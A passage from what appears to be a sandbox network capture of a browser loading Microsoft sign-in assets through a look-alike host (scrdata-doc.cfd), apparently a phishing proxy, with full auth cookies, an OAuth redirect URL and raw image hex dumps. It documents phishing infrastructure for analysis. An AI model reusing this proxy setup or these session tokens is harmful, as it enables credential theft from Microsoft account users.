04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:37 UTC	755	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:37 GMT Content-Type: image/png Content-Length: 5139 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Feb 2020 03:12:12 GMT ETag: 0x8D7AF695A8C44DC x-ms-request-id: 44396d81-901e-005b-1bcb-97a3ba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123737Z-16f6b7d46542mfkta0q55fyc3c0000000b5g00000000avht x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:37 UTC	5139	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 56 00 00 00 48 08 06 00 00 00 ad 04 dd dc 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 25 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 34 38 20 37 39 2e 31 36 34 30 33 36 2c 20 32 30 31 39 2f 30 38 2f 31 33 2d 30 31 3a 30 36 3a 35 37 20 20 Data Ascii: PNGIHDRVHtEXtSoftwareAdobe ImageReadyqe<%iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c148 79.164036, 2019/08/13-01:06:57

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49759	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:36 UTC	1709	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/signin-options_4e48046ce74f4b89d45037c90576bfac.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:37 UTC	785	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:37 GMT Content-Type: image/svg+xml Content-Length: 621 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Tue, 10 Nov 2020 03:41:24 GMT ETag: 0x8D8852A7FA6B761 x-ms-request-id: 2b64ff70-d01e-0063-54d6-97daba000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123737Z-16f6b7d4654srl6k5wk44f76s80000000bh00000000011ve x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-04-26 12:37:37 UTC	621	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 7d 55 4d 6f 22 31 0c fd 2b a3 d9 ab 93 c9 f7 47 3b 20 cd 9e 38 6c af 1c b8 4d 0b 05 24 0a 55 19 41 57 ab fe f7 b5 93 a0 55 61 58 0d d8 60 27 ef 3d db 09 b4 c7 d3 ba fa 7c db ed 8f 93 7a 33 0c ef 0f 4d 73 3e 9f f9 59 f3 c3 c7 ba 51 42 88 06 57 d4 d5 79 bb 1c 36 93 da 84 ba da ac b6 eb cd 90 3f 9f b6 ab f3 cf c3 e7 a4 16 95 a8 4c c0 57 3d 6d 97 ab d7 e3 b4 3d 0e bf 77 ab 29 ef ff bc 6e 77 bb 87 fd 61 bf 7a fc e2 cf f9 db 0f 23 e8 79 fc 6a 9b bc ac 6d f2 a6 8f d5 cb 50 bd ec fa 23 ca e9 ef b1 36 d3 f6 bd 1f 36 97 75 cf 75 b5 9c d4 4f 46 80 56 dc fa 30 37 62 a6 d5 5c bb 99 0a 73 ad 66 ca cc 55 e0 de b9 4e 0a ee 42 84 e2 04 3e 12 64 04 2d 7a 0c a5 78 89 32 cb ad f1 4c 72 0b 52 72 29 dc c5 e5 ac e2 4a 46 cc 7a 19 3b 4c 68 af a1 b8 Data Ascii: }UMo"1+G; 8lM$UAWUaX`'=\|z3Ms>YQBWy6?LW=m=w)nwaz#yjmP#66uuOFV07b\sfUNB>d-zx2LrRr)JFz;Lh

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49760	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:36 UTC	1695	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/favicon_a_eupayfgghqiai7k9sol6lg2.ico HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:37 UTC	744	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:37 GMT Content-Type: image/x-icon Content-Length: 17174 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Sun, 18 Oct 2020 03:02:03 GMT ETag: 0x8D8731230C851A6 x-ms-request-id: 991459fd-d01e-0037-6e60-951581000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123737Z-17859dc676bdfjh9x3cz1n4uss00000004h000000000cags x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:37 UTC	15640	IN	Data Raw: 00 00 01 00 06 00 80 80 10 00 00 00 00 00 68 28 00 00 66 00 00 00 48 48 10 00 00 00 00 00 e8 0d 00 00 ce 28 00 00 30 30 10 00 00 00 00 00 68 06 00 00 b6 36 00 00 20 20 10 00 00 00 00 00 e8 02 00 00 1e 3d 00 00 18 18 10 00 00 00 00 00 e8 01 00 00 06 40 00 00 10 10 10 00 00 00 00 00 28 01 00 00 ee 41 00 00 28 00 00 00 80 00 00 00 00 01 00 00 01 00 04 00 00 00 00 00 00 28 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 ba 7f 00 22 50 f2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 22 20 00 00 03 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 Data Ascii: h(fHH(00h6 =@(A(("P"""""""""""""""""""""""""""""" 333333333333333
2024-04-26 12:37:37 UTC	1534	IN	Data Raw: 01 80 00 00 00 00 28 00 00 00 20 00 00 00 40 00 00 00 01 00 04 00 00 00 00 00 80 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff 00 ef a4 00 00 00 b9 ff 00 00 bc 7b 00 1f 4c f9 00 22 50 f2 00 f7 a6 00 00 00 ba 7f 00 f3 a6 00 00 1e 4e f6 00 23 4e f4 00 f3 a4 00 00 00 bc 7d 00 00 ba 7d 00 00 00 00 00 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 22 22 22 22 22 22 c0 03 33 33 33 33 33 33 33 22 Data Ascii: ( @{L"PN#N}}"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"""""""3333333"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49761	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:36 UTC	1718	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/appbackgrounds/49-small_e58aafc980614a9cd7796bea7b5ea8f0.jpg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:37 UTC	761	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:37 GMT Content-Type: image/jpeg Content-Length: 987 Connection: close Cache-Control: public, max-age=31536000 Last-Modified: Fri, 27 Mar 2020 19:41:47 GMT ETag: 0x8D7D286E322A911 x-ms-request-id: 77152afa-e01e-0068-3dcb-97ffad000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123737Z-16f6b7d4654x9tkrn7h9pneu6g0000000b2000000000ckak x-fd-int-roxy-purgeid: 4554691 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-04-26 12:37:37 UTC	987	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 66 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 04 01 1a 00 05 00 00 00 01 00 00 00 3e 01 1b 00 05 00 00 00 01 00 00 00 46 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 10 00 00 00 4e 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 70 61 69 6e 74 2e 6e 65 74 20 34 2e 32 2e 39 00 ff db 00 43 00 02 01 01 01 01 01 02 01 01 01 02 02 02 02 02 04 03 02 02 02 02 05 04 04 03 04 06 05 06 06 06 05 06 06 06 07 09 08 06 07 09 07 06 06 08 0b 08 09 0a 0a 0a 0a 0a 06 08 0b 0c 0b 0a 0c 09 0a 0a 0a ff db 00 43 01 02 02 02 02 02 02 05 03 03 05 0a 07 06 07 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a 0a Data Ascii: JFIFHHfExifMM*>F(1NHHpaint.net 4.2.9CC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	49752	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-26 12:37:38 UTC	2808	OUT	GET /aadcdn.msauth.net/~/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg HTTP/1.1 Host: 6knvejjuzh3.scrdata-doc.cfd Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://6knvejjuzh3.scrdata-doc.cfd/?d12arvfli=aHR0cHM6Ly9sb2dpbi5taWNyb3NvZnRvbmxpbmUuY29tL2NvbW1vbi9vYXV0aDIvYXV0aG9yaXplP2NsaWVudF9pZD0wMDAwMDAwMi0wMDAwLTBmZjEtY2UwMC0wMDAwMDAwMDAwMDAmcmVkaXJlY3RfdXJpPWh0dHBzJTNhJTJmJTJmb3V0bG9vay5vZmZpY2UuY29tJTJmb3dhJTJmJnJlc291cmNlPTAwMDAwMDAyLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMCZyZXNwb25zZV9tb2RlPWZvcm1fcG9zdCZyZXNwb25zZV90eXBlPWNvZGUraWRfdG9rZW4mc2NvcGU9b3BlbmlkJm1zYWZlZD0xJm1zYXJlZGlyPTEmY2xpZW50LXJlcXVlc3QtaWQ9MzJhMWRkOWMtM2QyZi1jYzZhLTRlN2MtNTlhMzVkYmMxZTk1JnByb3RlY3RlZHRva2VuPXRydWUmY2xhaW1zPSU3YiUyMmlkX3Rva2VuJTIyJTNhJTdiJTIyeG1zX2NjJTIyJTNhJTdiJTIydmFsdWVzJTIyJTNhJTViJTIyQ1AxJTIyJTVkJTdkJTdkJTdkJm5vbmNlPTYzODQ5NzMxODM4OTQ2OTA3Mi5jMzg2ODI0OS00M2NhLTRjOWQtODIzYi04ZDQ3YmQxNDk2NDkmc3RhdGU9RGN1NUVZQXdEQVZSR1laeWhJMzFSMGM1UG5KQzJrZkIyMndMRVozcFNLVmx5RlFjWWZLNGVFQ2pXYi1YdUhwSE1HUU54b3JOM21XeWI5amNEMElSSmQtcnZ0LW9Qdw==&sso_reload=true Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: qPdM=CwsWzkwgapYf; qPdM.sig=oA8Le6N9y_r_YwwgPQNiJoSqmz4; ClientId=C6A545E1E81748E4A9B4A300D66D7D9E; OIDC=1; OpenIdConnect.nonce.v3.03HK31XHnZ95EWgkR2kA_G-vdi54vbLKGPJQ-OIsH8s=638497318389469072.c3868249-43ca-4c9d-823b-8d47bd149649; X-OWA-RedirectHistory=ArLym14BkM-knO1l3Ag; esctx-QR1q8Eb3Do=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd813uNOjf0vPNx37du4P_dyFQKXr9uyQ3pGEV-9erXl6rIVJqFaePhrdtxSltTGE2GibHYOZUaD-huoBjXXfgCY4NCALg8-fPf8ptmMLprRyZPVws_6ZswdxmOQ_rHo5beHusAjwIDFtRglDdEKB_sayAA; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=0.ATwAMe_N-B6jSkuT5F9XHpElWgIAAAAAAPEPzgAAAAAAAAABAAA.AQABGgEAAADnfolhJpSnRYB1SVj-Hgd8bLL9U_kzV2axUZrSs96_yESNO-2h4TIokD38MnlR6RRUkx68YsyEzwKa09Hths2zmHR3xnDepA4rhbwfs2eZjX_zo3Nn5lp9vRZq3I-XzXEgAA; esctx=PAQABBwEAAADnfolhJpSnRYB1SVj-Hgd8_fmZPwk3M44SRyvicjRPSf5P8oy1oSUY11UhsW7qrHWnyBkE3XetiJHGiMZTZmeQpB1f-WsFwY4sNFBy6LqpkUuyALqtgc74lzdWdJjCfFU1a_6VEIDljMBmINjWYqcLIka9CpEYMYssnD5MYd-sZso0w-It3O4iysUPRNv7HKggAA; esctx-9H6VTBHXGso=AQABCQEAAADnfolhJpSnRYB1SVj-Hgd87pSRh_fq2bCdMnlPi69y7Yk58qdCGpKcugR9GlxC-fSgLkglCq34u9qAEy1GYn3fStCdFPmvohFM-P64_z66Toehx1EwjVh7hxKT1US-GxFLq8QQkC0mhfAH11vkU3Q-Bqj1CefwZeG3uLnHhKJbYiAA; fpc=AszQtRD_nHZBkxtZm7ZYv5uerOTJAQAAAASXvd0OAAAA; brcap=0
2024-04-26 12:37:38 UTC	800	IN	HTTP/1.1 200 OK Date: Fri, 26 Apr 2024 12:37:38 GMT Content-Type: image/svg+xml Content-Length: 1435 Connection: close Cache-Control: public, max-age=31536000 Content-Encoding: gzip Last-Modified: Fri, 17 Jan 2020 19:28:38 GMT ETag: 0x8D79B8373CB2849 x-ms-request-id: 0bcfae94-701e-003d-71c0-971b94000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Access-Control-Allow-Origin: * x-azure-ref: 20240426T123738Z-17859dc676bb8s4lhun1d1qg1g000000044g000000019v4p x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-04-26 12:37:38 UTC	1435	IN	Data Raw: 1f 8b 08 00 00 00 00 00 04 00 bd 57 4d 6f 1c 37 0c fd 2b 8b ed 75 56 96 48 4a a2 0a db 80 7b f2 c1 be fa 90 db b6 b1 b3 06 ec 26 88 17 76 fa ef fb 28 51 b3 46 91 a2 c9 a5 b0 f7 61 57 1c 51 fc 7c e2 9c bf bc 7e da 7c 7b 7e fa f3 e5 62 7b 38 1e bf fc 7a 76 f6 f6 f6 16 de 38 7c fe fa e9 8c 62 8c 67 78 62 bb 79 7b fc 78 3c 5c 6c 53 d4 ed e6 70 ff f8 e9 70 bc d8 92 6c 37 af 8f f7 6f bf 7d fe 76 b1 8d 9b b8 81 74 83 c5 cb f3 e3 e3 f1 e9 fe 72 ff f2 72 7f 7c 39 3f 1b bf ce bf ec 8f 87 cd c7 8b ed ad 48 50 2e 8b 84 72 97 34 c8 61 47 41 ee 6a c8 ca d7 82 af 37 ac 21 a5 b6 98 ec 9a 4b c8 9c 6e 98 42 12 5a fa 43 87 5d 88 d4 fa d6 6b 6a a1 dd 41 d1 81 83 70 b9 e1 1a 78 49 a6 fe 10 62 d6 1b 49 21 4b b6 93 3e 3c d3 92 42 94 b6 4f 81 8a 2e 03 23 fe d2 12 24 b5 5d 68 a5 Data Ascii: WMo7+uVHJ{&v(QFaWQ\|~\|{~b{8zv8\|bgxby{x<\lSppl7o}vtrr\|9?HP.r4aGAj7!KnBZC]kjApxIbI!K><BO.#$]h

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	49762	2.58.15.240	443	6788	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
